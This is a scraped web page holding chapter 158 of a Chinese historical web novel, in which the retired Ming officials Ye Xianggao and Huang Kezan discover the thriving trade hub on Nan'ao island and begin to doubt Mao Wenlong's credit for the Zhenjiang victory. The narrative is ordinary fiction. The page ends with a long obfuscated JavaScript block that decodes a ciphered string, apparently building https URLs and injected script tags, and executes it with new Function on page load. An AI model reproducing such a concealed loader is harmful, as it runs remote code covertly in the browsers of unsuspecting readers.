首页
第158章 权阉当政,英雄血
返回
关灯 护眼:关 字号:小

第158章 权阉当政,英雄血冷

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
biquge521.com,更新快,无弹窗!

    第158章权阉当政,英雄血冷
    八月初一。
    一大早,黄克便如约到月港码头等候叶向高。
    他今日轻装简行,做儒生打扮,只带了一个随行奴仆。
    过不多时,一条单枪小船自远处驶来,在码头前停好。
    叶向高出了船舱,与黄克缆见礼,二人寒暄一阵,进入船舱。
    从福清到潮州,陆上并不好走,可坐海船就快多了。
    而且不知是何原因,近来福建各地海船尤其多,随之船价也下降不少,叶向高因此包下了此船,这一趟才能成行。
    叶向高此行也是朴素打扮,只带随从一人,外加一个船夫。
    行到半途,船夫突然停住。
    叶向高对随从吩咐道:「叶安,去看看发生何事。」
    随从叶安应了一声,出船舱后片刻便回:「老爷,不好了,有条官军大船过来了。」
    所谓兵匪一家,大明老百姓见到官军的反应比见到海寇,也强不了多少。
    叶黄二人倒还神情镇定。
    船夫声音从船舱外传来:「贵人放心,这是铜山水寨的哨船,不妨事。」
    「铜山水寨,不正是马总镇辖区吗?」黄克缵低声道。
    「看看去。」
    二人想到一处,当即出了船舱。
    海风吹来,只见一条海沧船与其擦身而过,两船相隔不过十馀步,对方船上军容严整,船大明战旗猎猎作响,船侧还可见弗郎机炮。
    大明各地营兵要麽不巡逻,要麽碰见人就要来敲诈劫掠一番。
    像这种擦身而过的,却不多见。
    看来朝野对马承烈治军有方的评价,还真不是空穴来风。
    叶向高道:「舵公,敢问————」
    船夫急忙打断他:「贵人叫我名字或是叫梢公丶船公都好,舵公二字可叫不得。」
    叶向高大感奇怪:「为何?」
    船夫笑着道:「海上的规矩,潮州一带都是这样,至于为什麽,小的也不清楚。」
    「哦。」
    海上人家忌讳多,譬如翻丶沉丶倒丶散丶火等字都不能说,除此以外,各地还有独特的忌讳。
    叶黄二人老家都靠海,有所耳闻,闻言不再追问。
    叶向高接着道:「敢问梢公,铜山寨水师军纪一直是如此吗?」
    船夫回忆片刻道:「以前在周围行船,可是要交过路费的,像咱这条船,至少二两银子,也就近几个月官军转了性了。」
    叶黄二人对视一眼,心道果然。
    马承烈接手铜山寨,也就是近几个月的事,这麽短时间内,就能令营兵军纪焕然一新,当真难得。
    很快,单桅船驶过东山岛,自的地已遥遥在望。
    船夫手指海天相接之处的一片绿意:「贵人请看,那里就是南澳岛了,小的去过一次,当真是繁华无比,不愧海上泉州之名。
    岛对岸,那一片就是潮州府了,旁边就是柘林湾,运气好些,说不定能看到大战船出港————」
    黄克冷哼一声:「说什麽海上泉州,一个驻兵荒岛而已,胡吹大气。
    黄克做过刑部丶工部丶兵部尚书,对东南海防也算有所了解。
    船夫不敢得罪贵人,赔笑道:「也是,也是。」
    船只驶过柘林湾,大战船没看到,可远远的就能看见贸易商船往来不绝。
    尤其靠近澄海县的海域,商船像鱼群一样,数量极多,铺陈开好大一片海面。
    码头之上,船来人往,繁忙景象直逼月港。
    叶黄二人都一脸诧异,暗道澄海县私船竟如此之盛?当真敢把律法视若无物?
    船夫自顾自解释道:「这些船里有些是去漳州丶惠州的,不过大部分都是上岛的。」
    「哪个岛?」黄克接口问道。
    「南澳岛啊。」船夫一脸理所当然。
    船夫一边说话,一边掌舵收帆,船只稳稳停靠在一处栈桥上。
    「到了,这就是澄海县,小的这几日就在此停泊,贵人有事随时招呼。」
    二人道谢后,带随从下船。
    只见港口上,车马人群川流不息,不断有商船靠港,货物装运不绝,货栈上各式货箱摞如城墙一般。
    叶向高随意拉过一人询问货品种类。
    那人正忙着搬货,本不愿搭理,见叶黄二人气度不凡,又都是读书人打扮,便起了恭敬之心,答道:「都是老几样,生丝丶瓷器丶白糖,还有鹿品。」
    「鹿品?」
    「对啊,就是鹿鞭丶鹿茸丶鹿角丶鹿筋啥的,你要想买去胡记鹿品就是。」
    那人说完,便去搬货了。
    留下叶向高满心疑虑,潮州又不临近辽东,哪来的鹿品。
    黄克缵看着周围景象,皱眉道:「进卿,这澄海县好像有些古怪,生丝丶瓷器丶白糖都是外贸之物,该运到月港才是,运到澄海县算怎麽回事?还有这鹿品又是哪来的?」
    叶向高皱起眉头,他此行本是存了见一见马承烈的念头,不成想竟发现了些马总镇的猫腻。
    若二人猜测属实,澄海县就是个私船窝点,而马承烈不就是公然违反律法的庇护伞吗?
    如果真是如此,那他二人虽是下野白身,也免不了要上书为国除害了。
    当然,现在就下定论,为时尚早。
    二人商量一阵,还是决定先去所谓的「胡记鹿品」看看再说。
    一路上,街道两旁的商贸都非常繁盛,酒楼丶客栈丶食肆开的到处都是,有不少游商打扮之人,在其中食宿歇脚。
    随从叶安看得眼花缭乱,感慨道:「老爷,同是县城,这澄海县似乎比福清繁华多了。」
    叶向高黑着脸没说话。
    一旁黄克缵的随从接道:「也比我们那繁华。」
    「住口。」黄克缵低声训斥。
    一行人到了鹿品店前,当即就被店铺的装潢震撼了。
    只见那商铺明明有房檐,却在街边摆摊,把所有商品都沿街摆在明面上。
    硕大通红的鹿鞭丶肥硕的鹿茸摆放整齐,极具视觉冲击力。
    有夥计正站在摊位后大声叫卖。
    在夥计身后,还有五六个硕大酒坛,身侧还有五六个酒壶和无数杯子。
    见叶黄二人盯着看,夥计极热情的端起酒壶,倒了两杯琥珀色的酒。
    「二位客官,快来尝尝,这药酒对身体好。」
    叶向高上前接过酒杯:「多少钱?」
    夥计笑道:「这杯是东家请的,不收钱,客官权且尝尝,若是觉得不好,转身就走便是。」
    叶向高闻了闻,确有淡淡酒香,将酒杯递给叶安:「尝尝吧。」
    「是。」叶安接过一饮而尽,随后吧嗒一下嘴,「真挺好喝的,酒味不冲,还甜丝丝的。」
    黄克也如法炮制,让随从品尝,随从竖起大拇指。
    夥计笑道:「好喝就对了,这酒里除了鹿鞭还加了枸杞丶当归丶黄芪丶杜仲等物,除了好喝还能强身健体呢,客官懂的。」
    黄克冷哼一声:「既加鹿鞭,酒性偏温燥,阴虚火旺丶湿热体质之人不能饮,常人饮之也会上火,只为买药便胡乱让人试酒,似乎不妥吧。」
    那夥计显然是见过世面的,听了这麽一大串诘问,不仅面色不变,反而喜道:「正是如此,客官果然是懂行的。本店一应药酒,均是名家调配,购买前还有郎中问诊,若遇阴虚火旺丶湿热体质之人,绝不会售!
    另外,刚刚这杯酒毕竟不收钱,里面用药也少,客官饮的量也不多,仅一杯,对身体无碍的。」
    黄克缵被噎住,冷笑道:「你倒是伶牙俐齿。」
    夥计道:「不敢。客官若有兴趣,不妨入内一观,我们店中有个镇店之宝,见过之人无不震惊赞叹。」
    叶黄二人明知夥计是用话术引他二人入店,可都对那「镇店之宝」有些好奇。
    抬脚便向店内走去,刚一入内便惊住了。
    只见店铺正中,摆了一个木托架,其上放了一罐药酒。
    与寻常药酒不同的是,这罐药酒是用玻璃瓶装的,其内酒体丶药物分毫毕现。
    店内窗户开,阳光洒进来正射在玻璃瓶上,酒体仿若闪着莹润的琥珀光。
    只一眼就看得人心神迷醉。
    饶是叶黄二人见多了奇珍异宝的,也看的一阵愣神。
    玻璃是澳夷舶来之物,在大明极为昂贵,更别说还是这麽大的一个玻璃瓶。
    光是这玻璃瓶就已堪称宝物,更别说其中盛着的酒液该当如何贵重了。
    店铺掌柜见叶黄二人进来,忙上前殷勤介绍。
    等二人离店时,手上已各自拿了一个锦盒了。
    二人对视一眼,尽皆苦笑。
    他们去胡记鹿品,本意是打探鹿品来源的。
    可掌柜的一句「从澳门进的货,东家有船引。」就把二人打发了。
    随后在掌柜丶夥计极强的销售话术,以及各式鹿品极强的视觉冲击力之下,二人各自掏了二十两银子,买下了手上鹿品。
    叶向高现在回想掌柜的话语,还心有馀悸。
    「二位客官,鹿品可不是虎狼之药,是正经温补身子的。」
    「什麽?二位都过花甲之年了,小的还道二位不到天命,买鹿品自用的呢!」
    「想必二位的孙子都及冠了吧,婚配了吗?
    「哎,犬子也刚婚配不久,可儿媳妇肚子一直没有动静,可真愁人。」
    「确如先生所言,男子总想房帏之事伤身子,所以小的也给犬子用了鹿品。」
    「咱们做长辈的,谁不想子孙满堂,承欢膝下,但这些事总不好威逼,送个鹿品,儿孙也就明白了。」
    「成与不成的,总是份心意。」
    叶向高当了这麽久首辅,什麽游说没听过,可今日竟被一店铺掌柜说动了心。
    「成与不成的,总是份心意。」这话实在太厉害了,直达要害。
    甚至让他一瞬间有种不掏银子买鹿品,就抱不到重孙子的恐惧感。
    就算现在冷风一吹,回过神来,也不觉上当受骗,反而有种赶快把鹿品给孙子用上,然后赶紧生重孙子的期待感。
    这份对家族有后的念想,让人脸上挂笑,心里暖烘烘的。
    叶向高回首,凝望「胡记鹿品」,暗忖一个乡下财主,哪来的这种本事,背后必有高人。
    午饭时,二人选了个临街酒楼,在二楼落座,点了些家常菜。
    ——
    吃饭时,就听楼下有游商谈论「胡记鹿品」。
    其中有人道:「那胡员外可潮州府有名的善人,年前还建了个几十万石的大义仓,连知县老爷都给那义仓题过字。」
    叶向高来了兴致,叫来小二:「胡记鹿品」的东家,在澄海县很有名吗?」
    小二道:「您问胡员外啊,,那可是澄海县最大的大人物,他是织潮绸起家的,对手下织户给的价高,欠款也不催。
    凡是给胡家干活的,没有一个是说胡员外坏话的,是顶好的大好人!」
    叶向高笑道:「多谢告知。」
    小二客气一句,便去忙了。
    黄克缵冷哼一声:「收买人心,假仁假义。」
    叶向高也看得出胡员外所为是在收买人心,不过却道:「毕竟他真让百姓得了实惠,比明着作恶的要好。」
    黄克知道「明着作恶的」指的是谁,大以为然。
    眼下东南虽然是一片繁华,歌舞升平。
    而两千里之外的贵阳,已是人间地狱一般。
    土司叛军围城自本年二月始,至今已有近半年,始终未解。
    城内外消息不通,可一座省城,被围半年,城内是何等惨状也是可以想见的。
    而朝廷仍忙于党争,权倾朝野的魏公公,忙着打击异己,前线将帅换了又撤丶撤了又换,始终选不到一个合适的「自己人」。
    而东林党则忙着反击阉党,对贵阳之围也没多上心。
    致使政令迟缓,从争论丶决策丶调兵丶筹粮,都被无限拉长。
    二人虽不结党,可情感上还是倾向东林党的,均对阉党误国痛恨不已。
    就在这时,街上响起一阵敲锣打鼓声:「助饷了,助饷了!各家商户都把钱备好,依次征缴!」
    这声一出,各商户纷纷关门停业,小摊贩全都收拾东西逃窜,一时间街上鸡飞狗跳。
    不过多时,一条繁华街道,就人去楼空。
    黄克缵看清收饷之人身份,寒声道:「狐狸尾巴终于漏出来了,进卿你看。」
    叶向高朝声响处望去,只见敲锣打鼓的正是一夥身穿明军号衣之人。
    既在马承烈防区,黄克缆将其当成是马承烈的手下。
    「啪!」窗子关上,挡住了叶向高视线。
    关窗的小二歉然道:「收饷的来了,要关上门窗躲一会,客官得罪了。」
    叶向高疑惑问道:「关上门窗就不会被征缴吗?」
    毕竟这行为看起来,实在是掩耳盗铃。
    「当兵的也是听令行事,走个过场,只要咱们关上门窗,当兵的就不会为难,这几个月都是这麽过来的。」
    「这几个月?」叶向高听出端倪。
    「对,几个月前朝廷派来了个监军太监,助饷也是那阉狗收的。哎,皇帝不明,奸臣当道,澄海县好不容易摊上了好县令,却要被阉狗折腾。」
    大明江南识字率高,老百姓向来喜欢议论时政。
    以前议论时,还是关起门来,口耳相传。
    近年来已有人将朝廷时政公然编纂成话本评书,街头巷尾聚众评说。
    言辞之间毫无顾忌,所言皆时政的种种失败,众人无不乐听。
    是以小二当着叶黄二人讥讽朝廷,也没什麽顾忌。
    叶向高闻言苦笑。
    黄克缵瞠目结舌,有心驳斥,却又觉小二言之有理,等想好辩驳言辞,小二已经走远了。
    果如那小二所言,楼下缴饷队伍很快便敲锣打鼓的往远处去了。
    黄克道:「马总镇能想出这法子,既不驳了监军的脸面,又不对百姓盘剥,也当真难得。」
    叶向高默然不语,他心里想的更多。
    首先,马承烈也受监军监视,而且阳奉阴违,不帮权阉捞钱,可见不是阉党一夥。
    其次,连酒楼小二都知道助饷是太监缴的,恐怕那太监的恶名流传已广。
    最后,街上官兵明明收不到饷,还敲锣打鼓,除了提醒百姓躲避外,肯定也存了提醒百姓的心思,让百姓别别忘了澄海县,还有个权阉恶人在。
    马承烈一定是存了搬倒那太监的心思。
    如此,看来马承烈这人绝不简单,澄海县的种种变化与此人也脱不了干系。
    此人若真忠心为国也就算了,若有不臣之心,当真麻烦。
    一念及此,叶向高起身道:「走。」
    「去哪?」黄克缵一愣。
    「去「海上泉州」看看。」
    一个时辰后,二人踏上后江湾码头。
    顿时被眼前一幕惊呆了。
    只见港口中船只无数,延绵数里,城中房屋鳞次栉比,一望无边,商贩丶行人穿梭其间,比澄海县还要繁华数倍。
    叶向高瞪大眼睛,看着眼前一切,许久后才道:「绍夫兄,你之前可是说这是驻兵荒岛?」
    天底下有这样的荒岛吗?
    黄克缵如鲠在喉,半晌才道:「好一座大城!这————这反正不在兵部帐面上。」
    二人目瞪口呆之际,有小吏过来,登记了二人身份信息,上岛缘由。
    叶向高托词说是来岛上行商,又向小吏打探道:「老夫久居北方,许久不曾回乡,不知岛上何时起了这样一座大城啊?」
    小吏笑道:「说起来,也是总镇大人体恤,让营兵家眷上岛,久而久之就建起了这座城。」
    叶向高一眼看穿是托词,没有追问。
    小吏走后,二人在岛上闲逛,越逛越是心惊。
    一路走来,他们看到了堆成小山一般的货站,见到了成排四点金的白墙黑瓦,见到了十字路口的高大路灯。
    在城西黄花山还有云间书院丶成片梯田。
    二人赶到城西时,正赶上学子下山,与农户丶吏员站在一处,丝毫不显突兀,彼此交谈神情自然,毫不见因身份不同而形同陌路。
    岛上民风也与别处完全不同,女子随意上街,与男子交谈,毫无避讳。
    叶向高开明豁达,对此倒不以为意。黄克则不断批评有伤风化。
    临近黄昏,二人在一处粘豆包摊前歇脚。
    等待粘豆包的功夫,叶向高低声道:「绍夫兄,你觉得岛上是怎麽回事?」
    黄克看看左右道:「建城收税,私筹军需,已有图谋不轨之象,马承烈此人该杀!」
    叶向高点点头:「此人爱护百姓,治军严谨,若忠心为朝廷效力,必能有所建树。
    可惜心怀鬼胎,铸成大错,幸亏此事被你我知悉,待回了岸上,就给朝廷上摺子吧。」
    「客官,你们的粘豆包好了。」摊主把两个热气腾腾的粘豆包装在碗中,摆在二人面前。
    「且慢。」叶向高叫住他,和颜悦色道,「听店家的口音,不是本地人?」
    摊主笑道:「可不咋的,我是辽东来的。」
    辽东?叶向高心中警铃大作,难不成这马总镇不仅心怀异志,还————还勾结建奴?
    叶向高又追问几句。
    摊主便把炮轰镇江城,转移皮岛,而后又乘船来南澳岛的事情说了。
    黄克缵已经完全听蒙了,饶是他身为前尚书,也沉不住气:「不可能!袭击鞑子镇江城的是毛文龙,不是什麽何千总!」
    摊主是个直脾气的,怎麽能容许别人侮辱自己救命恩人,闻言把勺子一甩,便回怼道:「怎麽不是?你满岛去问问,岛上辽东人,哪个不是何千总救的?姓毛的抢了何千总功劳,当真不要脸!
    皇帝老儿也真是昏聩,忠奸不分!怪不得打不过辽东鞑子。
    要我说,朝廷要能多几个何千总这样的好官,早就天下太平,鞑子也没戏唱了!」
    黄克还真的不信,直接拦行人询问,得到的答案如出一辙。
    所有人都是何千总救的,至于什麽毛文龙,他们连影都没见过。
    为免有人说谎,黄克赞还问了许多细节问题,比如满语怎麽说的?何千总什麽服饰样貌?皮岛地形地貌如何?从鸭绿江到皮岛要航行多久?从皮岛航行到南澳岛要多久?
    所有人都对答如流,答案一致,没有冲突。
    就算是背,也不可能所有人都背的这麽全乎。
    黄克缵闻言跌坐在椅子上,看向前首辅叶向高,颤声道:「老夫记得,元辅当时还上摺子褒奖过毛文龙,把他比做班超丶耿恭,赞其胆气丶兵法————内阁当时,没核过战功真伪吗?」
    叶向高微微张口,不知该如何作答。
    说老实话,镇江与京师隔了大海,又在敌后,总不能派人去镇江城勘验。
    而且据辽东作战计划,确实只派了毛文龙一支部队到镇江,又没有其他人上疏抢功。
    从建奴反应,以及关外传回来的零星消息看,镇江也确实被人偷袭,战况与呈文上相差不大。
    况且当时大明朝堂死气沉沉,人人都道建奴不可战胜,正需要一个振奋人心的消息。
    镇江大捷来的正是时候,来的恰如其分,一应战果又有辽东巡抚王化贞的背书。
    以至于兵部丶内阁都没多想,就这麽认了。
    现在仔细想来,凭藉毛文龙不到两百人,能拿下镇江?
    即便他运气好拿下来了,后续数万汉人转运皮岛,又是如何做到的?
    想到此处,叶向高不禁悚然。
    莫非,镇江大捷的功劳,真的给错人了?
    如若真是如此,那对真正的英雄来说,可就是弥天大冤!
    就是再炙热的血,也该被泼凉了吧。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();